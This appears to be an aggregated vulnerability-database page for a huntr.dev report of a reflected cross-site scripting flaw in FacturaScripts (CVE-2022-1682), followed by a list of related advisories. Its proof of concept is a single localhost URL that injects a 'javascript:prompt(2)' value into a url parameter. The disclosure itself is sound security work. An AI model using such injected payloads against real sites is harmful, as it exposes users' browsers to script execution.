Lucene search
Gaurav-g2E962D191-93E2-405E-A6AF-B4A4E4D02527HistoryMay 08, 2022 - 8:58 a.m.
Reflected Xss using url based payload
2022-05-0808:58:38
gaurav-g2
www.huntr.dev
12
0.001 Low
EPSS
Percentile
30.2%
Description
Hi there i found that url parameter is not verified by server so an attacker can use javascript schema to run xss on user’s browser
Proof of Concept
- Visit this page http://localhost/invoices/EditPageOption?code=ListProducto-new&url=javascript:prompt(2)
- Click on back button
PoC:-
Related
github
github
Cross-site Scripting in facturascripts
2022-05-13 00:01:12
veracode
veracode
Cross-site Scripting (XSS)
2022-05-13 04:31:20
cvelist
cvelist
cve
cve
CVE-2022-1682
2022-05-12 09:15:13
cnvd
cnvd
FacturaScripts Cross-Site Scripting Vulnerability () CNVD-2022-77854
2022-05-16 00:00:00
osv
osv
Cross-site Scripting in facturascripts
2022-05-13 00:01:12
CVE-2022-1682
2022-05-12 09:15:13
nvd
nvd
CVE-2022-1682
2022-05-12 09:15:13
prion
prion
Cross site scripting
2022-05-12 09:15:00